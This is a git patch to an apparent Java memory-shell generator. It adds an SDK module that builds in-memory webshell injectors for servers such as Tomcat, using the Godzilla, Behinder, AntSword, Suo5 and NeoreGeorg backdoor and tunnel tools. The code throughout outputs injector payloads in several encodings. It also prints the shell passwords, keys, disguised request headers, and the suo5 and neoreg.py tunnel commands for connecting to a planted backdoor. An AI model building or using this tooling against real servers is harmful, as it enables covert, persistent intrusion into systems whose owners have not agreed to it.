From 6d14555b94b1862353e05dd21374a0f8427dcac7 Mon Sep 17 00:00:00 2001 From: pen4uin Date: Sat, 24 Aug 2024 14:52:05 +0800 Subject: [PATCH] =?UTF-8?q?add:=20=E6=B7=BB=E5=8A=A0=E5=AF=B9=20Maven=20SD?= =?UTF-8?q?K=20=E7=9A=84=E6=94=AF=E6=8C=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../java/jmg/core/config/AbstractConfig.java | 36 +++- jmg-sdk/pom.xml | 71 ++++++++ .../src/main/java/jmg/sdk/jMGenerator.java | 76 +++++++++ .../main/java/jmg/sdk/util/SDKResultUtil.java | 155 ++++++++++++++++++ .../java/jmg/sdk/util/ShellGenerator.java | 41 +++++ jmg-sdk/src/test/java/SDKTest.java | 45 +++++ pom.xml | 7 +- 7 files changed, 419 insertions(+), 12 deletions(-) create mode 100644 jmg-sdk/pom.xml create mode 100644 jmg-sdk/src/main/java/jmg/sdk/jMGenerator.java create mode 100644 jmg-sdk/src/main/java/jmg/sdk/util/SDKResultUtil.java create mode 100644 jmg-sdk/src/main/java/jmg/sdk/util/ShellGenerator.java create mode 100644 jmg-sdk/src/test/java/SDKTest.java diff --git a/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java b/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java index 934e2ba..0c5f668 100644 --- a/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java +++ b/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java @@ -1,5 +1,9 @@ package jmg.core.config; +import jmg.core.util.ClassNameUtil; +import jmg.core.util.CommonUtil; +import jmg.core.util.RandomHttpHeaderUtil; + import java.util.HashMap; import java.util.Map; @@ -71,7 +75,6 @@ public class AbstractConfig { } - private String shellClassName; public String getShellClassName() { @@ -83,7 +86,6 @@ public class AbstractConfig { } - private String shellSimpleClassName; public String getShellSimpleClassName() { @@ -108,7 +110,6 @@ public class AbstractConfig { private int shellBytesLength; - public int getShellBytesLength() { return shellBytesLength; } @@ -140,8 +141,6 @@ public class AbstractConfig { private boolean enableDebug = false; - - private String urlPattern; private String outputFormat; @@ -245,7 +244,6 @@ public class AbstractConfig { } - public String getGadgetType() { return gadgetType; } @@ -331,7 +329,6 @@ public class AbstractConfig { private boolean enabledExtender = false; - public boolean isEnabledExtender() { return enabledExtender; } @@ -360,7 +357,6 @@ public class AbstractConfig { private String dnsDomain; - public String getDnsDomain() { return dnsDomain; } @@ -405,4 +401,28 @@ public class AbstractConfig { } private String jarClassName; + + public void build() { + // 检查 serverType、modelType、formatType 是否已设置 + if (this.toolType == null || this.serverType == null || this.shellType == null || this.outputFormat == null || this.gadgetType == null) { + throw new IllegalStateException("toolType、serverType、shellType 、formatType and gadgetType must be set."); + } + // 无自定义则随机生成 + Map.Entry header = RandomHttpHeaderUtil.generateHeader(); + if (this.getHeaderName() == null) this.setHeaderName(header.getKey()); + if (this.getHeaderValue() == null) this.setHeaderValue(header.getValue()); + if (this.getUrlPattern() == null) this.setUrlPattern("/*"); + if (this.getSavePath() == null) this.setSavePath(System.getProperty("user.dir")); + if (this.getInjectorClassName() == null) + this.setInjectorClassName(ClassNameUtil.getRandomInjectorClassName()); + if (this.getInjectorSimpleClassName() == null) + this.setInjectorSimpleClassName(CommonUtil.getSimpleName(this.getInjectorClassName())); + if (this.getShellClassName() == null) + this.setShellClassName(ClassNameUtil.getRandomShellClassName(this.getShellType())); + if (this.getShellSimpleClassName() == null) + this.setShellSimpleClassName(CommonUtil.getSimpleName(this.getShellClassName())); + if (this.getOutputFormat().contains(Constants.FORMAT_BCEL)) + this.setLoaderClassName(ClassNameUtil.getRandomLoaderClassName()); + this.setSavePath(CommonUtil.getFileOutputPath(this.getOutputFormat(), this.getInjectorSimpleClassName(), this.getSavePath())); + } } diff --git a/jmg-sdk/pom.xml b/jmg-sdk/pom.xml new file mode 100644 index 0000000..a63a670 --- /dev/null +++ b/jmg-sdk/pom.xml @@ -0,0 +1,71 @@ + + + 4.0.0 + + + jmg + java-memshell-generator + 1.0.8 + + + jmg-sdk + + + 8 + 8 + UTF-8 + + + + ${parent.groupId} + jmg-core + ${parent.version} + compile + + + ${parent.groupId} + jmg-antsword + ${parent.version} + compile + + + ${parent.groupId} + jmg-behinder + ${parent.version} + compile + + + ${parent.groupId} + jmg-custom + ${parent.version} + compile + + + ${parent.groupId} + jmg-godzilla + ${parent.version} + compile + + + ${parent.groupId} + jmg-extender + ${parent.version} + compile + + + ${parent.groupId} + jmg-neoregeorg + ${parent.version} + compile + + + ${parent.groupId} + jmg-suo5 + ${parent.version} + compile + + + + \ No newline at end of file diff --git a/jmg-sdk/src/main/java/jmg/sdk/jMGenerator.java b/jmg-sdk/src/main/java/jmg/sdk/jMGenerator.java new file mode 100644 index 0000000..4113d99 --- /dev/null +++ b/jmg-sdk/src/main/java/jmg/sdk/jMGenerator.java @@ -0,0 +1,76 @@ +package jmg.sdk; + +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.generator.InjectorGenerator; +import jmg.core.util.CommonUtil; +import jmg.sdk.util.ShellGenerator; + + +public class jMGenerator { + + private AbstractConfig config; + + public jMGenerator(AbstractConfig config) { + this.config = config; + + } + + /** + * 生成内存马字节流、注入器字节流 + */ + public void genPayload() throws Exception { + new ShellGenerator().makeShell(this.config); + new InjectorGenerator().makeInjector(this.config); + } + + /** + * 内存马字节流 + */ + public byte[] getShellBytes() { + return this.config.getShellBytes(); + } + + /** + * 注入器字节流 + */ + public byte[] getInjectorBytes() { + return this.config.getInjectorBytes(); + } + + public void printPayload() { + System.out.println("配置信息:"); + System.out.println(this.config.getToolType() + " " + this.config.getServerType() + " " + this.config.getShellType() + " " + this.config.getOutputFormat() + "\n"); + System.out.println("结果输出:"); + System.out.println(this.formatPayload()); + System.out.println(); + } + + /** + * 处理注入器字节流 + */ + public String formatPayload() { + switch (config.getOutputFormat()) { + case Constants.FORMAT_CLASS: + case Constants.FORMAT_JSP: + case Constants.FORMAT_JAR: + case Constants.FORMAT_JAR_AGENT: + try { + CommonUtil.transformToFile(config); + return config.getSavePath(); + } catch (Throwable e) { + } + break; + case Constants.FORMAT_BCEL: + case Constants.FORMAT_JS: + case Constants.FORMAT_BASE64: + case Constants.FORMAT_BIGINTEGER: + try { + return CommonUtil.transformTotext(config); + } catch (Throwable e) { + } + break; + } + return ""; + } +} diff --git a/jmg-sdk/src/main/java/jmg/sdk/util/SDKResultUtil.java b/jmg-sdk/src/main/java/jmg/sdk/util/SDKResultUtil.java new file mode 100644 index 0000000..4711ce1 --- /dev/null +++ b/jmg-sdk/src/main/java/jmg/sdk/util/SDKResultUtil.java @@ -0,0 +1,155 @@ +package jmg.sdk.util; + +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.util.CommonUtil; + +import java.io.IOException; + +public class SDKResultUtil { + + public static void printAntSwordBasicInfo(AbstractConfig config) { + System.out.println("基础信息:"); + System.out.println(""); + System.out.println("密码: " + config.getPass()); + System.out.println("请求路径: " + config.getUrlPattern()); + System.out.println("请求头: " + config.getHeaderName() + ": " + config.getHeaderValue()); + System.out.println("脚本类型: JSP"); + System.out.println(""); + } + + public static void printBehinderBasicInfo(AbstractConfig config) { + System.out.println("基础信息:"); + System.out.println(""); + System.out.println("密码: " + config.getPass()); + System.out.println("请求路径: " + config.getUrlPattern()); + System.out.println("请求头: " + config.getHeaderName() + ": " + config.getHeaderValue()); + System.out.println("脚本类型: JSP"); + System.out.println(""); + } + + public static void printGodzillaBasicInfo(AbstractConfig config) { + System.out.println("基础信息:"); + System.out.println(""); + System.out.println("加密器: JAVA_AES_BASE64"); + System.out.println("密码: " + config.getPass()); + System.out.println("密钥: " + config.getKey()); + System.out.println("请求路径: " + config.getUrlPattern()); + System.out.println("请求头: " + config.getHeaderName() + ":" + config.getHeaderValue()); + System.out.println(""); + } + + + public static void printCustomBasicInfo(AbstractConfig config) { + System.out.println("基础信息"); + System.out.println(""); + System.out.println("请求路径: " + config.getUrlPattern()); + System.out.println("注入器类名: " + config.getInjectorClassName()); + System.out.println(""); + + } + + public static void printSuo5BasicInfo(AbstractConfig config) { + System.out.println("基础信息:"); + System.out.println(""); + System.out.println("请求路径: " + config.getUrlPattern()); + System.out.println("连接指令:"); + if (config.getHeaderName().equalsIgnoreCase("user-agent")) { + System.out.println(String.format(" ./suo5 -d --ua '%s' -t http://", config.getHeaderValue())); + System.out.println(String.format(" ./suo5 -d -l 0.0.0.0:7788 --auth test:test123 --ua '%s' -t http://", config.getHeaderValue())); + } else { + System.out.println(String.format(" ./suo5 -H '%s: %s' -t http://", config.getHeaderName(), config.getHeaderValue())); + System.out.println(String.format(" ./suo5 -l 0.0.0.0:7788 --auth test:test123 -H '%s: %s' -t http://", config.getHeaderName(), config.getHeaderValue())); + } + System.out.println(""); + } + + public static void printNeoreGeorgBasicInfo(AbstractConfig config) { + System.out.println("基础信息:"); + System.out.println(""); + System.out.println("密钥: " + config.getKey()); + System.out.println("请求路径: " + config.getUrlPattern()); + System.out.println("连接指令:"); + System.out.println(String.format(" python3 neoreg.py -k %s -H '%s:%s' -u http://", config.getKey(), config.getHeaderName(), config.getHeaderValue())); + System.out.println(String.format(" python3 neoreg.py --skip --proxy http://127.0.0.1:8080 -vv -k %s -H '%s:%s' -u http:// ", config.getKey(), config.getHeaderName(), config.getHeaderValue())); + System.out.println(""); + } + + public static void printExtenderBasicInfo(AbstractConfig config) { + System.out.println("基础信息:"); + System.out.println(""); + System.out.println("探测器类名: " + config.getExtenderClassName()); + System.out.println("探测器字节流长度: " + config.getExtenderBytes().length); + System.out.println(""); + } + + public static void printResult(AbstractConfig config) { + if (!config.isEnabledExtender() && config.getInjectorBytesLength() == 0) { + System.out.println("请在非调试模式下使用!"); + } else if (config.isEnabledExtender() && config.getExtenderBytesLength() == 0) { + System.out.println("请在非调试模式下使用!"); + } else { + switch (config.getOutputFormat()) { + case Constants.FORMAT_CLASS: + case Constants.FORMAT_JSP: + case Constants.FORMAT_JAR_AGENT: + case Constants.FORMAT_JAR: + try { + if (config.isEnabledExtender()) { + CommonUtil.transformExtenderToFile(config); + } else { + CommonUtil.transformToFile(config); + } + System.out.println("结果输出:\n"); + System.out.println(config.getSavePath() + "\n"); + } catch (Throwable e) { + e.printStackTrace(); + } + break; + case Constants.FORMAT_BCEL: + case Constants.FORMAT_JS: + case Constants.FORMAT_BASE64: + case Constants.FORMAT_BIGINTEGER: + try { + String result = CommonUtil.transformTotext(config); + System.out.println("结果输出:\n"); + System.out.println(result + "\n"); + } catch (Throwable e) { + e.printStackTrace(); + } + break; + } + } + } + + public static void printBasicInfo(AbstractConfig config) throws Throwable { + switch (config.getToolType()) { + case Constants.TOOL_ANTSWORD: + printAntSwordBasicInfo(config); + break; + case Constants.TOOL_BEHINDER: + printBehinderBasicInfo(config); + break; + case Constants.TOOL_GODZILLA: + printGodzillaBasicInfo(config); + break; + case Constants.TOOL_SUO5: + printSuo5BasicInfo(config); + break; + case Constants.TOOL_NEOREGEORG: + printNeoreGeorgBasicInfo(config); + break; + } + + } + + public static void printDebugInfo(AbstractConfig config) throws IOException { + System.out.println("调试信息:"); + System.out.println(""); + System.out.println("内存马类名: " + config.getShellClassName()); + System.out.println("注入器类名: " + config.getInjectorClassName()); + System.out.println("内存马字节流长度: " + config.getShellBytesLength()); + System.out.println("注入器字节流长度: " + config.getInjectorBytesLength()); + System.out.println(""); + } +} diff --git a/jmg-sdk/src/main/java/jmg/sdk/util/ShellGenerator.java b/jmg-sdk/src/main/java/jmg/sdk/util/ShellGenerator.java new file mode 100644 index 0000000..4f71abd --- /dev/null +++ b/jmg-sdk/src/main/java/jmg/sdk/util/ShellGenerator.java @@ -0,0 +1,41 @@ +package jmg.sdk.util; + +import jmg.antsword.generator.AntSwordGenerator; +import jmg.behinder.generator.BehinderGenerator; +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.generator.IShellGenerator; +import jmg.custom.generator.CustomGenerator; +import jmg.godzilla.generator.GodzillaGenerator; +import jmg.neoregeorg.generator.NeoreGeorgGenerator; +import jmg.suo5.generator.Suo5Generator; + +public class ShellGenerator { + IShellGenerator shellGenerator; + + public void makeShell(AbstractConfig config) throws Exception { + switch (config.getToolType()) { + case Constants.TOOL_ANTSWORD: + shellGenerator = new AntSwordGenerator(); + break; + case Constants.TOOL_BEHINDER: + shellGenerator = new BehinderGenerator(); + break; + case Constants.TOOL_GODZILLA: + shellGenerator = new GodzillaGenerator(); + break; + case Constants.TOOL_SUO5: + shellGenerator = new Suo5Generator(); + break; + case Constants.TOOL_NEOREGEORG: + shellGenerator = new NeoreGeorgGenerator(); + break; + case Constants.TOOL_CUSTOM: + shellGenerator = new CustomGenerator(); + break; + default: + throw new IllegalArgumentException("Unsupported tool type: " + config.getToolType()); + } + shellGenerator.makeShell(config); + } +} diff --git a/jmg-sdk/src/test/java/SDKTest.java b/jmg-sdk/src/test/java/SDKTest.java new file mode 100644 index 0000000..b309944 --- /dev/null +++ b/jmg-sdk/src/test/java/SDKTest.java @@ -0,0 +1,45 @@ +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.sdk.jMGenerator; +import jmg.sdk.util.SDKResultUtil; + +/* +1、将 java-memshell-generator 和 jmg-sdk 安装到本地 maven 仓库 + 1) mvn install:install-file -Dfile=java-memshell-generator--jar-with-dependencies -DgroupId=jmg -DartifactId=java-memshell-generator -Dversion= -Dpackaging=jar + 2) mvn install:install-file -Dfile=jmg-sdk--jar-with-dependencies.jar -DgroupId=jmg -DartifactId=jmg-sdk -Dversion= -Dpackaging=jar + +2、引入自己的框架/工具的依赖中 + + jmg + jmg-sdk + 1.0.8 + + + */ +public class SDKTest { + public static void main(String[] args) throws Throwable { + // 必需的基础配置 + AbstractConfig config = new AbstractConfig() {{ + // 设置工具类型 + setToolType(Constants.TOOL_GODZILLA); + // 设置中间件 or 框架 + setServerType(Constants.SERVER_TOMCAT); + // 设置内存马类型 + setShellType(Constants.SHELL_LISTENER); + // 设置输出格式为 BASE64 + setOutputFormat(Constants.FORMAT_BASE64); + // 设置漏洞利用封装，默认不启用 + setGadgetType(Constants.GADGET_NONE); + // 初始化基础配置 + build(); + }}; + + jMGenerator generator = new jMGenerator(config); + generator.genPayload(); + generator.printPayload(); + + // 连接信息 + SDKResultUtil.printBasicInfo(config); + SDKResultUtil.printDebugInfo(config); + } +} diff --git a/pom.xml b/pom.xml index 4cb53b4..eb4f00a 100644 --- a/pom.xml +++ b/pom.xml @@ -5,7 +5,7 @@ jmg java-memshell-generator pom - ${project.build.version} + 1.0.8 jmg-antsword jmg-behinder @@ -17,12 +17,11 @@ jmg-suo5 jmg-extender jmg-woodpecker - - + jmg-sdk + - 1.0.8 UTF-8 8 8